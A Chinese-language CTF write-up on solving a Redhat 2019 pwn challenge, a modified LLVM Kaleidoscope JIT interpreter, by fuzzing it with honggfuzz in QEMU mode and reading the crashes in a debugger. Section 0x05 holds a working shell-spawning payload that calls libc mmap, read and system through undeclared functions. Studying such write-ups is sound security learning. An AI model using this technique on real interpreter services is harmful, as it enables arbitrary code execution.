Redhat2019CTF上利用 honggfuzz 和 QEMU 插桩完成题目的WriteUp
导语:逆向非常费时间,使用honggfuzz对发现的crash分析快速定位漏洞和考点,调试分析发现libLLVM获取函数名称并尝试从libc解析它。 大佬的方法学到了,记录一下学习过程。
0x01 分析
起初,由于缺少libary libLLVM-6.0.so.1,无法直接运行此二进制文件,用sudo apt-get install libllvm6.0解决依赖问题。题目会提供一个解释器界面:
ready> a = 1 ready> 1+1 Error: Unknown variable name ready> a+1 Evaluated to 2 ready>
将二进制文件放到ida中,可以看到它是C ++编写的,并且设计人员在编译时打开了一些优化设置,因此反编译结果的确很难理解。这些符号告诉我们,这是一个JIT解释器,llvm项目教程介绍如何实现JIT解释器。可以在这里找到该教程:构建JIT:从KaleidoscopeJIT开始,以及llvm-kaleidoscope的源代码。
main 函数在源代码中:
int main() { BinopPrecedence['print(errs(), nullptr); return 0; }
但在ida看来真的很糟糕:
LLVMInitializeX86TargetInfo(*(_QWORD *)&argc, argv, envp); LLVMInitializeX86Target(); LLVMInitializeX86TargetMC(); LLVMInitializeX86AsmPrinter(); LLVMInitializeX86AsmParser(); __k[0] = '='; *std::map::operator[](&BinopPrecedence, __k) = 2; __k[0] = '<'; *std::map::operator[](&BinopPrecedence, __k) = 10; __k[0] = '+'; *std::map::operator[](&BinopPrecedence, __k) = 20; __k[0] = '-'; *std::map::operator[](&BinopPrecedence, __k) = 20; __k[0] = '*'; *std::map::operator[](&BinopPrecedence, __k) = 40; v3 = &stderr; fwrite("ready> ", 7uLL, 1uLL, stderr); ...
比较这两段代码,我们可以看到挑战定义=为BinopPrecedence,原始版本没有定义。尝试逆向代码,但很快决定更改另一种方法。
0x02 Fuzzing
所以我转向了Fuzzing,希望能发现一些漏洞。我尝试使用qemu模式的AFL运行此二进制文件,但它卡在了初始化中。
matthew@matthew-MS-7A37 /m/d/L/Fuzz> afl-fuzz -i in/ -o out1/ -Q -- ./wang afl-fuzz 2.52b by [+] You have 8 CPU cores and 6 runnable tasks (utilization: 75%). [+] Try parallel jobs - see /usr/local/share/doc/afl/parallel_fuzzing.txt. [*] Checking CPU core loadout... [+] Found a free CPU core, binding to #0. [*] Checking core_pattern... [*] Setting up output directories... [+] Output directory exists but deemed OK to reuse. [*] Deleting old session data... [+] Output dir cleanup successful. [*] Scanning 'in/'... [+] No auto-generated dictionary tokens to reuse. [*] Creating hard links for all input files... [*] Validating target binary... [*] Attempting dry run with 'id:000000,orig:1.txt'... [*] Spinning up the fork server... [+] All right - fork server is up. ...(It just stop here)
然后,我尝试使用honggfuzz,这是另一种流行的模糊器支持二进制工具。最初,我从github克隆了源代码,但是编译失败。然后我在Doker hub上找到了一个docker镜像,但是它不支持qemu模式。我必须附加到容器并遵守qemu模式,不可避免地需要安装一些依赖项。我花了两个多小时才安装此工具。
运行此docker映像的命令是:
docker run --rm -it -v (pwd):/work --privileged zjuchenyuan/honggfuzz:latest /bin/bash
可以在以下位置找到honggfuzz的用法:USAGE,对于我们需要的qemu模式,可以通过以下方式运行:
honggfuzz -f /work/in/ -s -- ./qemu_mode/honggfuzz-qemu/x86_64-linux-user/qemu-x86_64 /work/kaleidoscope
放入了种子语料库/work/in,我只是从https://llvm.org/docs/tutorial/OCamlLangImpl1.html#the-basic-language中选择了代码片段:
# Compute the x'th fibonacci number. def fib(x) if x < 3 then 1 else fib(x-1)+fib(x-2) # This expression will compute the 40th number. fib(40)
我在vmware中运行它,所以速度有点慢,但是它仍然在不到十分钟的时间内给我们带来了一些崩溃。
Iterations : 5810 [5.81k] Mode [3/3] : Feedback Driven Mode Target : ./qemu_mode/honggfuzz-qemu/x86_6.....u-x86_64 /work/kaleidoscope Threads : 4, CPUs: 8, CPU%: 424% [53%/CPU] Speed : 0/sec [avg: 1] Crashes : 200 [unique: 0, blacklist: 0, verified: 0] Timeouts : 0 [10 sec] Corpus Size : 97, max: 8192 bytes, init: 2 files Cov Update : 0 days 00 hrs 01 mins 18 secs ago Coverage : edge: 3922/45011 [8%] pc: 1541 cmp: 135658
0x03 Crashes
honggfuzz在不到十分钟的时间内给了我们Crashes,我查看了Crashes,这似乎是一些堆破坏问题,但是stacktrace很难跟踪。
─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x0 RBX 0x7ffff399b840 (stderr) —▸ 0x7ffff399b680 (_IO_2_1_stderr_) ◂— 0xfbad2887 RCX 0x7ffff35ede97 (raise+199) ◂— mov rcx, qword ptr [rsp + 0x108] RDX 0x0 RDI 0x2 RSI 0x7fffffffd660 ◂— 0x0 R8 0x0 R9 0x7fffffffd660 ◂— 0x0 R10 0x8 R11 0x246 R12 0x5555556030b0 —▸ 0x5555555d4fd0 —▸ 0x5555555d5040 ◂— 0x0 R13 0x7ffff3ff9550 (std::bad_alloc::~bad_alloc()) ◂— mov rax, qword ptr [rip + 0x3390f1] R14 0x55555569ec40 —▸ 0x5555555ef820 —▸ 0x5555555c70e0 —▸ 0x5555555f7700 —▸ 0x5555555f76c0 ◂— ... R15 0x55555569ec30 —▸ 0x55555569ec40 —▸ 0x5555555ef820 —▸ 0x5555555c70e0 —▸ 0x5555555f7700 ◂— ... RBP 0x7ffff40dbfe2 ◂— jae 0x7ffff40dc058 /* u'std::bad_alloc' */ RSP 0x7fffffffd660 ◂— 0x0 RIP 0x7ffff35ede97 (raise+199) ◂— mov rcx, qword ptr [rsp + 0x108] ───────────────────────────────────[ DISASM ]─────────────────────────────────── ► 0x7ffff35ede97 mov rcx, qword ptr [rsp + 0x108] 0x7ffff35ede9f xor rcx, qword ptr fs:[0x28] 0x7ffff35edea8 mov eax, r8d 0x7ffff35edeab jne raise+252 ↓ 0x7ffff35edecc call __stack_chk_fail 0x7ffff35eded1 nop word ptr cs:[rax + rax] 0x7ffff35ededb nop dword ptr [rax + rax] 0x7ffff35edee0 test edi, edi 0x7ffff35edee2 js killpg+16 0x7ffff35edee4 neg edi 0x7ffff35edee6 jmp 0x7ffff35ee180 ───────────────────────────────────[ STACK ]──────────────────────────────────── 00:0000│ rsi r9 rsp 0x7fffffffd660 ◂— 0x0 01:0008│ 0x7fffffffd668 —▸ 0x7ffff399b420 (main_arena+2016) —▸ 0x55555567aa60 ◂— 0x0 02:0010│ 0x7fffffffd670 ◂— 0x0 ... ↓ ─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 7ffff35ede97 raise+199 f 1 7ffff35ef801 abort+321 f 2 7ffff3fef242 f 3 7ffff3ffae86 f 4 7ffff3ffaed1 f 5 7ffff3ffb105 f 6 7ffff3feeee1 f 7 55555555eb68 f 8 55555555eb68 f 9 55555555eb68 f 10 55555555eb68 pwndbg> bt #0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51 #1 0x00007ffff35ef801 in __GI_abort () at abort.c:79 #2 0x00007ffff3fef242 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 #3 0x00007ffff3ffae86 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 #4 0x00007ffff3ffaed1 in std::terminate() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 #5 0x00007ffff3ffb105 in __cxa_throw () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 #6 0x00007ffff3feeee1 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 #7 0x000055555555eb68 in std::__cxx11::basic_string::_M_construct (this=, __beg=0x6 , __end=) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.tcc:219 #8 std::__cxx11::basic_string::_M_construct_aux (this=, __beg=0x6 , __end=) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.h:236 #9 std::__cxx11::basic_string::_M_construct (this=, __beg=0x6 , __end=) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.h:255 #10 std::__cxx11::basic_string::basic_string (this=, __str=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.h:440 #11 std::pair::pair(std::tuple&, std::tuple<>&, std::_Index_tuple, std::_Index_tuple<>) (this=0x55555569ec30, __tuple1=..., __tuple2=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/tuple:1651 #12 std::pair::pair(std::piecewise_construct_t, std::tuple, std::tuple<>) (this=0x55555569ec30, __first=..., __second=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/tuple:1639 #13 __gnu_cxx::new_allocator<std::_Rb_tree_node >::construct<std::pair, std::piecewise_construct_t const&, std::tuple, std::tuple<> >(std::pair*, std::piecewise_construct_t const&, std::tuple&&, std::tuple<>&&) (__p=0x55555569ec30, __args=..., this=, __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/ext/new_allocator.h:136 #14 std::allocator_traits<std::allocator<std::_Rb_tree_node > >::construct<std::pair, std::piecewise_construct_t const&, std::tuple, std::tuple<> >(std::allocator<std::_Rb_tree_node >&, std::pair*, std::piecewise_construct_t const&, std::tuple&&, std::tuple<>&&) (__p=0x55555569ec30, __args=..., __a=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/alloc_traits.h:475 #15 std::_Rb_tree<std::__cxx11::basic_string, std::pair, std::_Select1st, std::less, std::allocator >::_M_construct_node<std::piecewise_construct_t const&, std::tuple, std::tuple<> >(std::_Rb_tree_node*, std::piecewise_construct_t const&, std::tuple&&, std::tuple<>&&) (this=0x5555555694c8 , __node=0x55555569ec10, __args=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_tree.h:626 #16 std::_Rb_tree<std::__cxx11::basic_string, std::pair, std::_Select1st, std::less, std::allocator >::_M_create_node<std::piecewise_construct_t const&, std::tuple, std::tuple<> >(std::piecewise_construct_t const&, std::tuple&&, std::tuple<>&&) (this=0x5555555694c8 , __args=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_tree.h:643 #17 std::_Rb_tree<std::__cxx11::basic_string, std::pair, std::_Select1st, std::less, std::allocator >::_M_emplace_hint_unique<std::piecewise_construct_t const&, std::tuple, std::tuple<> >(std::_Rb_tree_const_iterator, std::piecewise_construct_t const&, std::tuple&&, std::tuple<>&&) (this=0x5555555694c8 , __pos={ first = , second = 0x0 }, __args=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_tree.h:2398 #18 0x000055555555e97d in std::map<std::__cxx11::basic_string, llvm::AllocaInst*, std::less, std::allocator >::operator[] (this=, __k=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_map.h:493 #19 0x00005555555612dc in (anonymous namespace)::BinaryExprAST::codegen (this=0x555555689010) at toy.cpp:781 #20 0x000055555555c6d9 in (anonymous namespace)::FunctionAST::codegen (this=0x555555638840) at toy.cpp:1085 #21 0x000055555555a767 in HandleTopLevelExpression () at toy.cpp:1164 #22 MainLoop () at toy.cpp:1209 #23 main () at toy.cpp:1263 #24 0x00007ffff35d0b97 in __libc_start_main (main=0x55555555a240 , argc=1, argv=0x7fffffffdee8, init=, fini=, rtld_fini=, stack_end=0x7fffffffded8) at ../csu/libc-start.c:310 #25 0x0000555555559c4a in _start ()
过了一会发现了一些非常有趣的Crashes。模糊器报告这些输入导致Crashes,但是二进制文件在运行中根本没有崩溃。
matthew@matthew-MS-7A37 ~/L/fuzz> cat c5 def fib(x) if x < 3 then 1 else 526142246948557=666 fib(40) $IF8׆FA]V_13X9`Z^9_O2ر/#nϰ'ӟ]* O-w ff4QjW={%IT(<V['!]h_2 ޒ*`-KyrCzʉB8Cl=}_F85&ЅNQ-O}/8 *ŋyG:~V$5917384075431139189gG ^ggXX%KTY១R| )"319Oqy` {&!M?Z-Bz X >@YAyd(9kG9Dž0)dL&TBeDjח@3g3N,Okrvz8b[QRs U,( >m@.*ou3\w;߳^U C}5Ttrz7217830875066176221-+\I f⏎
matthew@matthew-MS-7A37 ~/L/fuzz> cat c5 | ./kaleidoscope ready> ready> Error: Unknown variable name ready> LLVM ERROR: Program used external function 'fib' which could not be resolved!
尽管输出很有趣,但它说无法解析外部函数“ fib”。如果将二进制代码与原始源代码进行比较,可以看到源代码中有一个extern关键字。但是,题目中的处理程序已被禁用,如果尝试使用extern关键字,它将显示“无外部函数” 。
{ if ( CurTok != 0xFFFFFFFD ) goto LABEL_30; fwrite("No extern function!!!\n", 0x16uLL, 1uLL, *v3); CurTok = gettok(); CurTok = gettok(); LABEL_18: CurTok = gettok(); }
然后,我Program used external function 'fib' which could not be resolved!在此二进制文件中搜索字符串,但一无所获。但是,此LLVM ERROR消息由tag标记,是否表示该字符串位于llvm库?
matthew@matthew-MS-7A37 ~/L/fuzz> strings /usr/lib/x86_64-linux-gnu/libLLVM-6.0.so.1 | grep "Program used external" Program used external function '
确实是这样!
0x04 Analysis
考虑此测试用例背后的逻辑,二进制文件已完成解析工作,并将函数名称传递给libLLVM,libLLVM获取函数名称并尝试从libc解析它。如果在llvm的源中搜索此信息,则可以看到它被RTDyldMemoryManager::getPointerToNamedFunction调用,请参阅https://github.com/llvm-mirror/llvm/blob/8b8f8d0ad8a1f837071ccb39fb96e44898350070/lib/ExecutionEngine/RuntimeDyld/RTDyldMemoryManager.cpp#L290。
然后我想也许可以直接以相同的方式调用libc函数。我改变了fib对puts加载的二进制到GDB和读取输入。我还在处设置了一个断点puts,它确实停止了。
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────[ REGISTERS ]─────────────────────────────────────── RAX 0x7ffff36899c0 (puts) ◂— push r13 RBX 0x7ffff7ff6000 ◂— push rax RCX 0x3 RDX 0x55555556a010 ◂— 0x605070607050307 RDI 0x28 RSI 0x55555556a018 ◂— 0x607050702070606 R8 0x8 R9 0x1 R10 0x555555638568 —▸ 0x5555555d4f00 —▸ 0x5555555b99f0 ◂— 0x555500000000 R11 0x88 R12 0x7ffff39f5840 (stderr) —▸ 0x7ffff39f5680 (_IO_2_1_stderr_) ◂— 0xfbad2887 R13 0x555555564eb8 ◂— jb 0x555555564f1f /* 'ready> ' */ R14 0x7fffffffdd40 —▸ 0x7ffff7ff6000 ◂— push rax R15 0x7fffffffddc0 ◂— 0x0 RBP 0x7ffff39f5680 (_IO_2_1_stderr_) ◂— 0xfbad2887 RSP 0x7fffffffdd08 —▸ 0x7ffff7ff6012 ◂— pop rcx RIP 0x7ffff36899c0 (puts) ◂— push r13 ────────────────────────────────────────[ DISASM ]───────────────────────────────────────── ► 0x7ffff36899c0 push r13 0x7ffff36899c2 push r12 0x7ffff36899c4 mov r12, rdi 0x7ffff36899c7 push rbp 0x7ffff36899c8 push rbx 0x7ffff36899c9 sub rsp, 8 0x7ffff36899cd call *ABS*+0x9dc70@plt 0x7ffff36899d2 mov rbp, qword ptr [rip + 0x36be6f] 0x7ffff36899d9 mov rbx, rax 0x7ffff36899dc mov eax, dword ptr [rbp] 0x7ffff36899df mov rdi, rbp ─────────────────────────────────────────[ STACK ]───────────────────────────────────────── 00:0000│ rsp 0x7fffffffdd08 —▸ 0x7ffff7ff6012 ◂— pop rcx 01:0008│ 0x7fffffffdd10 ◂— 0x0 02:0010│ 0x7fffffffdd18 —▸ 0x55555555b0d4 (main+3732) ◂— mov ecx, eax 03:0018│ 0x7fffffffdd20 —▸ 0x7fffffffdd30 ◂— '__anon_expr' 04:0020│ 0x7fffffffdd28 ◂— 0xb /* '\x0b' */ 05:0028│ 0x7fffffffdd30 ◂— '__anon_expr' 06:0030│ 0x7fffffffdd38 ◂— 0x727078 /* 'xpr' */ 07:0038│ r14 0x7fffffffdd40 —▸ 0x7ffff7ff6000 ◂— push rax ───────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────── ► f 0 7ffff36899c0 puts f 1 7ffff7ff6012 f 2 0 ─────────────────────────────────────────────────────────────────────────────────────────── Breakpoint puts pwndbg>
可以看到第一个参数$rdi是0x28=40,这意味着也可以控制该参数。
0x05 Exploit
借助方便的任意libc函数调用功能,获取shell应该非常简单。二进制文件受到PIE的保护,因此最初不知道任何地址信息。我的解决方案是mmap用来获取新的区域,0x100000并将read其加载/bin/sh到内存中。最后,可以调用system(0x100000)获取shell。
payload = """ def mmap(x y z o p) if x < 3 then 1 else a=666 else 0=666 else b=666 else 0=666 else c=666 mmap(1048576, 4096, 7, 34, 0); """ sla(">", payload) time.sleep(0.5) payload = """ def read(x y z) if m < 3 then 1 else 0=666 def system(x) if m < 3 then 1 else 0=666 read(0, 1048576, 10); system(1048576); """ sla(">", payload) sla(">", "/bin/sh\x00") p.interactive()
花了一些时间if-else根据参数的数量对语句进行调整,以使其能够被解释器接受,但是后来发现它是不必要的,任何带有if-else语句的函数定义都将被视为外部函数。
0x06 Wrapup
这是我第一次使用Fuzzing来解决CTF题目。这是一种很好的方法,它可以节省大量的逆向时间。在解释器pwn方面许多都与外部函数调用或外部函数接口(FFI)有关。因此,当遇到基于解释器的pwn题时,这种方法可能很有用。
0x07 参考文献
https://github.com/google/honggfuzz/blob/master/docs/USAGE.md
https://llvm.org/docs/tutorial/OCamlLangImpl1.html#the-basic-language
http://blog.leanote.com/post/xp0int/%5BPWN%5D-ls-cpt.shao%E3%80%81MF
0x08 学习总结
逆向非常费时间,使用honggfuzz对发现的crash分析快速定位漏洞和考点,调试分析发现libLLVM获取函数名称并尝试从libc解析它。
大佬的方法学到了,记录一下学习过程。
发表评论